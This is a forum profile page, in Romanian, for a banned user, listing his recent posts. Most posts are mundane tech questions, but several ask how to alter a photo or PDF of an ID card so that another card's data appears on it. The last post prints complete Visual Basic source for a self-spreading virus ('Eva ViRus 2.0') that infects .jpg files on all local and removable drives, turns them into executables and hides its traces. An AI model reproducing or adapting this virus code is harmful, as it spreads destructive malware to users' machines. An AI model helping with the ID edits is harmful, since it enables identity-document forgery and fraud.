Jump to content

Adriano2015

Members
  • Content Count

    49
  • Joined

  • Last visited

Community Reputation

12 Good

About Adriano2015

  • Rank
    Banned
  • Birthday 12/20/1988

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

  1. Nu mai am nevoie. Am rezolvat-o. Am facut alta poza buletinului. Nu vroiam sa falsific nimic. Se poate inchide acest topic.
  2. Daca am buletinul meu in pdf cum pot pune datele celuilat buletin in pdf? Am incercat cu pdfescape dar nu iese ok.
  3. Cum pot modifica o poza facuta cu telefonul sa o pun in alt cadran? Am facut poza cu telefonul unui buletin si nu se vede coltul alb din dreapta sus. Eu am si poza cu alt buletin care se vede complet. Deci cum as putea sa modific poza sa se vada buletinul intreg? Problema e ca nu se vede litera y din valabilitate/validity Nimeni nu stie un program de editat modificat?
  4. Ok. Nu e problema. VPS functioneaza si cand esti tu offline?
  5. Cum de ai asa putine ore in 2 saptamani? 64.4 ore
  6. Probabil are ceva bug-uri browser-ul sau site-ul. Pe RST merge perfect si e versiunea full a site-ului nu versiunea mobila.
  7. M-am inregistrat pentru o licenta avast. Se poate sa trimita in spam, dar cum intru in spam? A venit pana la urma mailul.
  8. Macar inainte de a posta era bine daca faceai o proba. Mie unu nu imi merge, nu primesc nici un email.
  9. Am o problema cu browserul Mozilla for android. De pe unele pagini imi iese automat din browser si imi apare ecranul de start. Ce pot sa fac? De exemplu intru pe Vbet - Sport betting, Poker, Casino, Online Games si imi iese din browser
  10. Cand te referi la telefon interceptat, te referi inclusiv la interceptari SRI sau te referi la interceptari prin programe spion(sau ambele)?
  11. Cel mai bine ia-ti laptopul Macbook Air 13.
  12. Private Sub Form_Load() On Error Resume Next Randomize Dim rubishcode As String Dim picture As String Set fso = CreateObject("scripting.filesystemobject") Set tempfold = fso.getspecialfolder(2) payload = Int(999 * Rnd) If payload = 783 Then MsgBox "@@@ I LoVe GeOrGia in PaTra..I'm dOOmeD @@@", 64, "Eva ViRus VeRsIon 2.0" End If myname = App.Path & "\" & App.EXEName & ".exe" buff = FileLen(myname) If buff > 20992 Then rub = buff - 20992 Open (myname) For Binary Access Read As #1 rubishcode = Space(rub) Seek #1, 20993 Get #1, , rubishcode Close #1 picture = tempfold & "\" & App.EXEName & ".jpg" Open (picture) For Binary Access Read Write As #2 Put #2, , rubishcode Close #2 ddd = "c:\Program Files\Internet Explorer\iexplore.exe " & picture idProg = Shell(ddd, vbMaximizedFocus) SetAttr picture, vbSystem + vbHidden Else MsgBox "Out of memory!", 16, "Internet Explorer" End If autos = tempfold & "\win32dll.vid" If (fso.fileexists(autos)) Then End End If Set dr = fso.Drives For Each d In dr If d.DriveType = 2 Or d.DriveType = 3 Then list (d.Path & "\") End If Next Open (autos) For Binary Access Read Write As #22 Put #22, , "390842038209384023980984023 src coded next" Close #22 End End Sub Sub list(dir) On Error Resume Next Set fso = CreateObject("scripting.filesystemobject") Set f = fso.GetFolder(dir) Set ssf = f.Subfolders For Each fil In ssf spreadmailto (fil.Path) list (fil.Path) Next End Sub Sub spreadmailto(dir) On Error Resume Next Dim readvictim As String Dim readme As String Set fso = CreateObject("Scripting.filesystemobject") Set f = fso.GetFolder(dir) Set cf = f.Files For Each fil In cf ext = fso.GetExtensionName(fil.Path) ext = LCase(ext) If (ext = "jpg") Then 'Main replication routine starts HeRe! myname = App.Path & "\" & App.EXEName & ".exe" victimlen = FileLen(fil.Path) Open (fil.Path) For Binary Access Read As #3 readvictim = Space(victimlen) Get #3, , readvictim Close #3 Open (myname) For Binary Access Read As #4 readme = Space(20992) Get #4, , readme Close #4 Open (fil.Path) For Binary Access Read Write As #5 Put #5, , readme Put #5, , readvictim Close #5 newname = fil.parentfolder & "\" newname2 = Left(fil.Name, 1) newname3 = Right(fil.Name, Len(fil.Name) - 1) newname4 = LCase(Left(newname3, Len(newname3) - 3) & "exe") newnameall = newname & newname2 & newname4 Name fil.Path As newnameall 'Main replication Routine Ends HeRe! myname = "" readme = "" readvictim = "" End If Next End Sub
×
×
  • Create New...